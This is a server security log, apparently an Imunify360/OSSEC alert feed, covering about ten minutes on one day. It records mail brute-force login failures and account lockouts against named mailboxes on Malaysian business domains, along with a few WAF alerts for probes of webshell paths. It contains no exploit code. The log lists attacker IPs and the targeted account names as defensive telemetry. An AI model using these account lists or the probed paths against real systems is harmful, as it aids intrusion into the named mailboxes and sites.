Feb  1 06:22:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:23:04 dovecot_login authenticator failed for H=(dRT2HH) [158.94.208.215]:64359: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:23:11 dovecot_login authenticator failed for H=(dRXkP1wd) [158.94.208.175]:55204: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.158.170.213
country_id: 2139685
description:
2026-02-01 06:23:21 dovecot_login authenticator failed for H=host-175-158-170-213.static.lagoon.nc [175.158.170.213]:60246: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:23:58 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:23:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:23:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:23:02 dovecot_login authenticator failed for H=(HBw7JGv) [178.16.52.139]:58754: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:23:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:23:44 dovecot_login authenticator failed for H=(RL6apj) [178.16.52.139]:62438: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:23:14 dovecot_login authenticator failed for H=(5wIlxxu) [178.16.54.22]:62461: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:23:22 dovecot_login authenticator failed for H=(dl7WiS) [185.36.81.54]:58218: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.192.166
country_id: 1269750
description:
2026-02-01 06:23:09 dovecot_login authenticator failed for H=([27.123.105.234]) [128.185.192.166]:50292: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:24:02 dovecot_login authenticator failed for H=(TMh7oderq) [178.16.52.139]:52672: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:24:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:24:08 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51869: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.100.218
country_id: 1269750
description:
2026-02-01 06:24:18 dovecot_login authenticator failed for H=(nsg-corporate-4.114.185.122.airtel.in) [122.185.100.218]:53258: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:24:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.115.105
country_id: 1819730
domain: www.inter-link.edu.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/interlink/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.209.252.178
country_id: 1269750
description:
2026-02-01 06:24:50 dovecot_login authenticator failed for H=(static-154-209-252-178.pol.net.in) [154.209.252.178]:56928: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 06:24:56 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:50718: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:24:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:24:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.246.106
country_id: 1269750
description:
2026-02-01 06:24:10 dovecot_login authenticator failed for H=([125.16.255.97]) [125.20.246.106]:53516: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:24:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:24:08 dovecot_login authenticator failed for H=(FU64NLylG) [158.94.208.175]:50400: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:24:09 dovecot_login authenticator failed for H=(sBvyN7Ti) [185.36.81.54]:64469: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:24:16 dovecot_login authenticator failed for H=(7xCfh7I12H) [158.94.208.215]:52060: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:24:23 dovecot_login authenticator failed for H=(ltqd0nNs) [178.16.54.22]:59357: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:25:09 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58808: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:25:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.157.80.73
country_id: 2077456
description:
2026-02-01 06:25:16 dovecot_login authenticator failed for H=([120.157.80.73]) [120.157.80.73]:35794: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:25:28 dovecot_login authenticator failed for H=(jFIHFzz24) [185.36.81.54]:57696: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:25:29 dovecot_login authenticator failed for H=(npg5raq) [158.94.208.175]:52684: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:25:42 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:25:09 dovecot_login authenticator failed for H=(p5UGHy) [178.16.54.22]:49952: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:25:10 dovecot_login authenticator failed for H=(R4iO1E) [178.16.52.139]:49363: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:25:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:25:04 dovecot_login authenticator failed for H=(OrFuzOK) [158.94.208.215]:59034: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:25:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:25:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 41.220.3.101
country_id: 226074
description:
Feb  1 06:25:49 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(41.220.3.101)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-01 06:25:51 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:2512: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:26:30 dovecot_login authenticator failed for H=(CVWH5NElHC) [185.36.81.54]:57011: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:26:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:26:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:26:12 dovecot_login authenticator failed for H=(3KFl3k) [178.16.52.139]:53738: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.91.50
country_id: 1269750
description:
2026-02-01 06:26:30 dovecot_login authenticator failed for H=(nsg-corporate-50.91.186.122.airtel.in) [122.186.91.50]:45080: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:26:06 dovecot_login authenticator failed for H=(xEEWpXtzk) [158.94.208.175]:60199: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:26:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:26:19 dovecot_login authenticator failed for H=(DPurD3CL) [178.16.54.22]:62731: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:26:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-02-01 06:26:52 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:55673: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:26:09 dovecot_login authenticator failed for H=(3WDZls) [178.16.52.139]:56552: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.22.255.28
country_id: 1814991
description:
2026-02-01 06:26:16 dovecot_login authenticator failed for H=([58.22.255.28]) [58.22.255.28]:32811: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:26:16 dovecot_login authenticator failed for H=(GuKUQvwIRi) [158.94.208.215]:52874: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:26:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:27:05 dovecot_login authenticator failed for H=(RBZjIZci) [178.16.54.22]:62170: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:27:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 06:27:59 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:22533: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:27:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 06:27:08 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:52049: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:27:08 dovecot_login authenticator failed for H=(jVHIfGA) [158.94.208.175]:55783: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-01 06:27:32 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:40760: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:27:04 dovecot_login authenticator failed for H=(H0c6ME) [158.94.208.215]:60921: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 118.45.101.159
country_id: 1835841
description:
Feb  1 06:27:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(118.45.101.159)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:27:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.155.146.33
country_id: 2017370
description:
2026-02-01 06:27:26 dovecot_login authenticator failed for H=(ip-45-155-146-33.ip.asarta.ru) [45.155.146.33]:55828: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:27:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:27:19 dovecot_login authenticator failed for H=(VbrmBm) [185.36.81.54]:59675: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.129.201
country_id: 1835841
description:
2026-02-01 06:27:58 dovecot_login authenticator failed for H=([168.126.129.201]) [168.126.129.201]:40666: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:27:13 dovecot_login authenticator failed for H=(Mpo4wnY) [178.16.52.139]:51280: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:28:08 dovecot_login authenticator failed for H=(uwHwt7u) [158.94.208.175]:56683: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:28:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:28:32 dovecot_login authenticator failed for H=(EuGkBF) [185.36.81.54]:61428: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 06:28:16 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:59349: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:28:16 dovecot_login authenticator failed for H=(GHWaKN) [158.94.208.215]:63442: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 06:28:17 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:53560: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-02-01 06:28:46 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:45858: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.230.184
country_id: 1814991
description:
2026-02-01 06:28:05 dovecot_login authenticator failed for H=([60.172.230.184]) [60.172.230.184]:49400: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:28:11 dovecot_login authenticator failed for H=(iaXSL23) [178.16.52.139]:64547: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:28:14 dovecot_login authenticator failed for H=(MAGBOrz) [178.16.54.22]:62895: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:28:12 dovecot_login authenticator failed for H=(dOoXEuj) [178.16.52.139]:65042: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:28:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:28:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:29:23 dovecot_login authenticator failed for H=(zzxU8gGd7) [178.16.54.22]:63623: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:29:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 06:29:06 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:40962: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 06:29:36 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:56417: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 06:29:59 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (graggen) [87.103.126.54]:55995: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:29:04 dovecot_login authenticator failed for H=(tNVHxr1jZ) [158.94.208.215]:59405: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:29:15 dovecot_login authenticator failed for H=(PDstoB) [158.94.208.175]:65164: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:29:15 dovecot_login authenticator failed for H=(wXv0IcICeS) [178.16.52.139]:54178: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:29:30 dovecot_login authenticator failed for H=(d576Uz) [185.36.81.54]:57788: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.223.44.230
country_id: 1835841
description:
2026-02-01 06:29:32 dovecot_plain authenticator failed for H=(nrxz5mz36je1tv3nj31gdn) [210.223.44.230]:54086: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:30:09 dovecot_login authenticator failed for H=(fcyInA3) [178.16.54.22]:61522: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:30:13 dovecot_login authenticator failed for H=(cUDYBh) [185.36.81.54]:54550: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:30:16 dovecot_login authenticator failed for H=(GFeTgK937y) [158.94.208.215]:55971: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:30:20 dovecot_login authenticator failed for H=(iTtifsnd23) [178.16.52.139]:62278: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:30:20 dovecot_login authenticator failed for H=(GcbiSRz) [178.16.52.139]:58965: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.239.194.7
country_id: 99237
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=57031514876853 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:30:12 dovecot_login authenticator failed for H=(dg9a09PEyy) [158.94.208.175]:62388: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:30:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:31:35 dovecot_login authenticator failed for H=(47rWVk9fA2) [185.36.81.54]:49370: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 06:31:58 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:58870: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:31:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:31:04 dovecot_login authenticator failed for H=(PDFOI2fzDy) [158.94.208.215]:52162: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:31:14 dovecot_login authenticator failed for H=(arIcaP) [158.94.208.175]:64620: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:31:18 dovecot_login authenticator failed for H=(U2Vlo5) [178.16.54.22]:52947: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:31:38 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:31:19 dovecot_login authenticator failed for H=(QX9VDHZXe) [178.16.52.139]:51600: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
